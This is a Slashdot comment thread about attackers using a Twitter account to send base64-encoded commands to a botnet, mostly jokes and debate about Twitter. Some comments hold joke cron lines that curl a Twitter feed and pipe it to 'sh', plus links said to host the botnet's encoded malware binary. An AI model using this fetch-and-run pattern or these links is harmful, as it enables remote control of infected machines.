Twitter Used To Control Botnet Machines 127
DikSeaCup writes "Arbor Network's Jose Nazario, an expert on botnets, discovered what looks to be the first reported case of hackers using Twitter to control botnets. 'Hackers have long used IRC chat rooms to control botnets, and have continually used clever technologies, such as peer-to-peer strategies, to counter efforts to track, disrupt and sometimes decapitate the bots. Perhaps what's surprising then is that it's taken so long for hackers to take Twitter to the dark side.' The next step, of course, is to code the tweets in such a way that they aren't so suspicious."
sweet (Score:2, Insightful)
More reasons to hate Twitter
Re: (Score:2)
OMG! YOU HATE THE INTERNET!
Re: (Score:3, Insightful)
Quite possibly. My objection to twitter is the same as all bandwidth-limited Web 2.0 solutions; shorter messages encourage bad grammar and worse content.
And at 120 chars, that makes the bad grammar and worse content *very bad*.
Re: (Score:2)
Re: (Score:2)
its rly nt a prblm & OMG im tired
Re: (Score:2)
Re: (Score:1)
Re: (Score:2)
1. The abbreviation isn't usually recognized
2. Everything needs to abbreviated
3. Misunderstandings stemming from shortness are any more prevalent in short form are any more common than those occurring in other typical informal written communication.
In the first case, there are many many examples of abbreviations being universally understood and evolving into regular lexicon. In the second, there are many things which -can- be concisely and clearly represented, as happens
Re: (Score:2)
idk teh grmr is evol? grmr evol always has no sez grmr use is bttr 2 make data usefl short form comms good prac. i <3 how ppl assume lol ;)
Sure, but (Score:5, Funny)
Sure Twitter is just a large botnet, but is anyone really in control?
U2VjcmV0IGNvZGU= (Score:2, Funny)
d2hpbGUgKHRydWUpIHsNCiAgICBwaW5nIHR3aXR0ZXIuY29tDQp9
Re: (Score:1)
Holy shit! (Score:5, Funny)
Who knew Twitter had a use?!?!
Re: (Score:2, Redundant)
Twitter has plenty of uses. The issue has been that it's primary use is reinforcing the ego-centrism of teenagers. Cars and planes were derided as toys when they were invented. Twitter (read: mircoblogging) has tons of potential just waiting for imaginative developers.
Where i work i proposed using it to send alerts to students and faculty. "The DC campus will be closed until tomorrow. Ashburn campus will open at 1030". (guess where i work)
"Students of Macroecon 101, Tuesday class. Your professor was
Re:Holy shit! (Score:5, Insightful)
Re: (Score:1, Flamebait)
*groan* Yes, dear. Well done. You're smarter than everyone.
Re:Holy shit! (Score:4, Informative)
Re: (Score:2)
If every website that I subscribe to via RSS were to email me every post...I'd never actually answer emails from other humans.
There's something to be said for compartmentalizing your incoming data.
Re: (Score:2)
Re: (Score:1)
Perhaps that's really the thing with it? I guess that when you read a twit/whatever you know it won't take you more than what it takes to read 150 characters, with email, that's different, you could spend ages reading some message...
Especially whith some people that seem to need to write a novel just to tell you "we need you to do this ...."
Re: (Score:2)
Re: (Score:2)
Oh and yay me for my first accepted submission!
Re:Holy shit! (Score:4, Funny)
Twitter (read: mircoblogging) has tons of potential just waiting for imaginative developers.
>
Funny slip that you should call it "mircoblogging" since Twitter is basically logged IRC without channels (hashtags even use #) and a dysfunctional search. Welcome to 15 years ago, kids.
Re: (Score:2)
I knew there was a reason I avoided IRC! I prefer my electronic communications to be asynchronous.
Re: (Score:2)
As someone who's spent a lot of time on IRC, no - no it isn't. If you want to equate it to IRC it's more like a setup where everyone has their own channel, and you can join many in a single session with the messages all being merged.
Re: (Score:2)
Twitter (read: mircoblogging) has tons of potential just waiting for imaginative developers.
>
Funny slip that you should call it "mircoblogging" since Twitter is basically logged IRC without channels (hashtags even use #) and a dysfunctional search. Welcome to 15 years ago, kids.
Aside from seeing only what you actively ask to see, no netsplits, no egotistical server ops or chanops,one common protocol controlled by a single entity who provides a public API (in comparison to the flawed IRC RFC and the dozen different incompatible implementations of it) .. oh wait - it's got practically nothing in common with IRC at all ;)
Re: (Score:2)
Re: (Score:3, Funny)
No can do. i'm entirely too stupid. i am so humbled before your superiority that all i can manage is to tell you how dumbfounded i am at your magnificence. You're clearly smarter than all the people working on using twitter for these applications. You could be the hero who saves the world, why are you keeping this secret to yourself? Save us!
Re: (Score:2)
Twitter is all marketing.
You have not given a reason why it is better than existing solutions, such as Facebook (which I believe has nearly all the functionality of Twitter, perhaps with the exception of the @ and # direction codes for status messages).
The only thing Facebook currently doesn't have is SMS status updates, and many, many phones now come with, well, web browsers and specialized apps that can access all of Facebook's content.
So, again. What is the point of Twitter? Because I still haven't fig
Re: (Score:2)
Honestly though I'm not going to get much more into justifying Twitter. It can be a colossal waste of time. I don't understand it
Re: (Score:2)
Twitter also can be used with built in sms on phones easily and quickly. Email can, too, but you have to select a distro ahead of time...which loses twitter's second commun
Re: (Score:2)
Re: (Score:2)
Where i work i proposed using it to send alerts to students and faculty.
Then you need a mailing list manager, such as Mailman [list.org] on your campus network. Guaranteed to have a much better up time and long term availability that Twatter.
Re: (Score:3, Funny)
Somebody finally found a way to monetize Twitter!
Reliable (Score:5, Insightful)
Re: (Score:2)
Twitter doesn't require an IRC client (Score:2)
IRC requires an IRC client (or some horrible crappy java applet). Last I checked, the only game in town for windows was mIRC.
Re: (Score:2)
IRC is quite an easy protocol. You can access it via telnet if you want to. There are plenty of decent clients for all platforms, although a botnet would just connect directly from its code and wouldn't use a GUI client.
Re: (Score:2)
Sorry for posting on something this old, but you have inspired me to make a ghetto irc client just to learn a bit more about socket programming :-)
It's not suspicious already (Score:3, Insightful)
http://www.wired.com/images_blogs/threatlevel/2009/08/botnet_arbor.jpg [wired.com]
Re:It's not suspicious already (Score:4, Funny)
Hmm... so you're saying I should take out this cron entry...
... that I added per the instructions in some stranger's .sig?
Re: (Score:1)
Yeah, you might want to replace it with something that at least checks for a valid digital signature of some sort, such as a HMAC-MD5 hash.
How are you to know their twitter account hasn't been hacked, or your connection to twitter hijacked?
The HTTP connection to twitter doesn't have the benefit of SSL protection.
Re: (Score:2)
Y'know, I think directly executing HTML as a shell script might have... issues.
Re: (Score:2)
* * * * * curl twitter.com/statuses/user_timeline/21852262.rss | html2text | head -n 3 | tail -n 1 | sed 's/new299://' | html2text | sh
k thxs.
Re: (Score:2)
* * * * * curl twitter.com/new299 | html2text | grep "CMD" | awk '{$1="";$0=substr($0,2)}1' | sh
Interesting code actually... (Score:5, Informative)
From the looks of it it's all base64 encoded shortened URLs.
aHR0cDovL2 is http:/// [http]
aHR0cDovL2JpdC5seS is http://bit.ly/ [bit.ly]
The first one is clipped.
The rest go to a pastebinish sites which have gbpm.exe encoded as Base64. It also appears the base64 is different but the exe has the same name (I'm guessing it's changed 'output'?)
http://rifers.org/paste/content/paste/9507/body?key=upd4t3 [rifers.org]
http://rifers.org/paste/content/paste/9508/body?key=upd4t3 [rifers.org]
http://rifers.org/paste/content/paste/9509/body?key=upd4t3 [rifers.org]
They also use Pastebin (http://pastebin.com/pastebin.php?dl=m49f3b4c2) and Debian.net (http://paste.debian.net/44059/download/44059) but both of those file have been deleted.
Re: (Score:2)
Silly noobs.. they should just use http://stashbox.org/ [stashbox.org] and encrypt the binaries with a private key then base64 encode them.
We're really, really screwed if someone who is determined and knowledgeable decides to make some widespread malware. Think Conficker, with more doom.
Re: (Score:1)
Re: (Score:2)
WEAK! How hard is it to code a switch statement into your bot based on names of restaurants?
please do go down that rabbit hole ... (Score:3, Interesting)
I <3 English (Score:5, Funny)
"Twitter Used To Control Botnet Machines"
It used to, but it doesn't anymore, right?
Re:I 3 English (Score:2)
It's actually only a problem in the pure *written* language.
But nooo, adding some characters for emphasis, and emoticons for the emotions is childish and taboo. Way to go.
I think emoticons are the greatest addition to written language, since the invention of white space and punctuation. If not even more important. :)
Only emotional train wrecks and ice blocks could oppose them.
Re: (Score:1)
Now read it as: "Twitter [Is] Used To Control Botnet Machines".
Headlines often omit small words like "is".
So Twitter already has experience in controlling botnet machines?
What about: "Twitter Used For Controlling Botnet Machines?"
I don't think there's any way to misinterpret that.
or perhaps use comments on slashdot (Score:2)
anytime someone says "Cowboy Neal" do something bad to microsoft
You go Jose! (Score:5, Interesting)
Re:You go Jose! (Score:5, Interesting)
I've seen Jose speak a couple of times, and I am impressed by the manner in which they are finding the ghosts who think they can't be found.
I haven't talked to Jose for a while, but last I heard he and the other guys were doing well finding new types of malware and separating out malicious network traffic that is hard to differentiate from legitimate traffic. That said, they were not really doing things to find the one off attacks perpetrated by people who weren't interested in large scale and automated network attacks. The people I'd call ghosts are the ones who do small scale, specifically targeted attacks to get what they want, then walk away. If you're running a botnet, you aren't being very ghostlike; maybe more vampire like :)
Re: (Score:2)
maybe more vampire like
For a botnet, I think you've got the wrong undead example. You want ghouls or something....
Crowdsourced botnet (Score:3, Interesting)
Wouldn't it be weird if someone made a botnet that would follow the directions of anyone that posted on Twitter, with people being able to suggest one command per day that would get upped or down by the masses? Aside from the programmer, who would be held responsible if it were operated like that?
Re: (Score:2)
Re:Crowdsourced botnet (Score:4, Funny)
Re: (Score:1)
Sounds like the future of reality TV. *shudders*
Re: (Score:2)
That would just be tyrrany of the masses. Nothing new, when you give every idiot a powerful weapon with little repercussion of using it.
You'd have the French revolution all over again, just over the internet. So every server decapitation would be followed by lmfao and lol, as they tweeted it.
Twitter and many others! (Score:4, Interesting)
Anything that can be pinged and return any sort of tcp/ip packets could be a control center if the contents of the packets can actually
be translatable and have been mapped accordingly.
ie- ftp server has certain verbose return that may be configured based on what is being done, so the botnet program calls home to an ftp server...looking like a plain jane communication to any one looking. It tries a few different commands to which the ftp server can reply (with error messages) it can not proceed, however inside the ftp server error message is a text string that contains certain
key phrases.
This scenario is similar to steganography, of hiding in plain sight, inside an image, the contents of data....
I think it's cool to be able to pass off information that is hidden to regular onlookers, but is a lot of coding for nothing if you ask me.
Set up a twitter account where a particular page has the commands for all your bots to follow, and....wait a minute....
Stupid idea. (Score:2)
All of these have the same flaw as the IRC-driven botnets -- they're basically relying on a single point of failure. All someone has to do is realize that command/control is going through this one point, and the entire botnet can be shut down. Hardly skynet.
What surprises me is how few botnets (if any) have used truly peer-to-peer systems, like, say, Freenet. Indeed, while Freenet itself may be too high bandwidth and too complex for this, it does have one advantage -- you can't block part of Freenet without
It's easy to do. (Score:5, Funny)
No onE would Think of uSing slashdoT As we aRen'T nearly as oBviOus as someThiNg likE Twitter. // Especially with all our talk about supporting Linux and such.
Re:It's easy to do. (Score:5, Funny)
Re: (Score:2)
You missed the capitalized spaces between the command words.
Besides....how are you going to use the botnet infection to start the botnet infection?
You clearly haven't thought this through.....
Re: (Score:2)
The botnet code, having been installed as a hidden service in Windows since, oh, summer 2001 when I was bored with dissecting live squirrels, parses only capital letters and takes a lowercase n (without a following escape ') as a space.
I'm not saying that all your base, but I might.
Re: (Score:2)
Good try. But there's one extra n in there, in uSing.
net s tart botnet
You must have had some of MS's programmers help you with the coding. That's why I'm not worried......
tried it, but... (Score:4, Funny)
Perl (Score:5, Funny)
The next step, of course, is to code the tweets in such a way that they aren't so suspicious
And people said that perl obfuscation, poetry, and golf tournaments didn't have any practical application. Ha!
Re: (Score:1)
Re:Perl (Score:4, Funny)
Re: (Score:1, Funny)
*Actual Size.
Twitter only 98% pointless babble (Score:3, Funny)
[to be posted [today.com] uh tomorrow, probably]
Only 98% of Twitter updates are "pointless babble," says a new report that studied 2,000 tweets over a period of two weeks.
The top category was "pointless babble" tweets, with nearly 98% of tweets being inanity no sane person could want to read, retweets of inanity, links to inanity, retweets of links to inanity and retweets of retweets of links to links to the reretweet itself. And camera phone pictures of bowel movements on Twitpic.
Almost 2% was Stephen Fry, Neil Gaiman or retweets thereof and the rest was Warren Ellis posting scatological abuse of his fans.
Botnet command messages were becoming more popular, many disguised as combinations of the syllables "lol" "wtf" "d00d" "RT" and "#fb" or scatological abuse of Warren Ellis's fans.
Twitter's demographics as of June 2009 were 55% female, 43% ages 18 to 34, 78% white, and 99.5% of such short attention spans that Facebook might as well be War and Peace. Botnet readership was considered likely to rise as soon, nothing with organic intelligence would be able to cope.
Twitter recently redesigned its homepage, changing the tag "What are you doing now?" to "Post tomorrow's CNN headlines, particularly about #goatse."
qdb (Score:1)
Here are some that may be disappearing soon, because they'll be moderated down.
298870 [qdb.us]
298871 [qdb.us]
Re: (Score:2)
There used to be the OUTGOING thing here as well.
Logo (Score:2)
Let's face it, all joking aside (Score:3, Insightful)
There ain't any technology that one human(s) can come up with that another human(s) can't corrupt.
I don't care how quick, savvy or exotic you are, you're not going to foil everyone forever. I figure it's just a state of grace we have: there's a situation whereby the technology is benign, if asinie; a state whereby it's corrupted, abused and malicious; and a state whereby it's antiquated, unused, and maligned.
I hope Twitter's now made it to that last stage now.
hackers use $CommunicationMedium to control botnet (Score:2)
the propaganda is taking hold (Score:2)
Is this as opposed to unclever technologies, such as the wheel or the Post-It(tm) note?
You can tell the propaganda is taking hold when someone who is presumably technology friendly (Ryan Singe, author of TFA) has fallen into the current popular media bias.
Any connection? (Score:1)
Surprised that no one has tried to make a connection between this discovery (of the botnets) and the (US Government's) request that Twitter remain online during the recent election protests in Iran.
Re:Alas, Babylon (Score:5, Insightful)
That's actually an interesting thought... it was sending obfuscated URLs to code that the zombie bots would download and execute.
Wouldn't it make sense, rather than having Twitter simply kill the account, to allow the "good" guys to craft some sort of zombie-self-destruct and tweet its URL over the account? Imagine, all the bots automatically downloading and executing a specially designed tool that removes the malicious trojan...
Re: (Score:1, Insightful)
Code signing. Conficker did this, other bot nets probably do too. They simply will not execute a module that hasn't been signed by the correct private key.
Similarly, most botnets do not possess internal "shut down" commands. This is precisely to prevent the good guys from telling the net to stop itself. Even the creator of the net can't stop it (unless they distribute a cryptographically signed update which enables it)
Re: (Score:2)
Conficker does, it detects VM's and will go into sleep mode for about 29000 hours.
Re: (Score:2)
Can you imagine the liability issues?
Never EVER try to do a good deed in America. You will be sued into oblivion.
I do wish though that there was an electronic version of a good samaratin law.
Re: (Score:2)
Meh... Twitter can claim complete innocence.
"Well, hey, the password was p@55w0r[), somebody must have hacked the account and did that."
(So what if the password wasn't... who'd know?)
Re: (Score:2)
Re: (Score:2)
like, say, FIXING things you hate?
We kinda did that with the DDOS recently.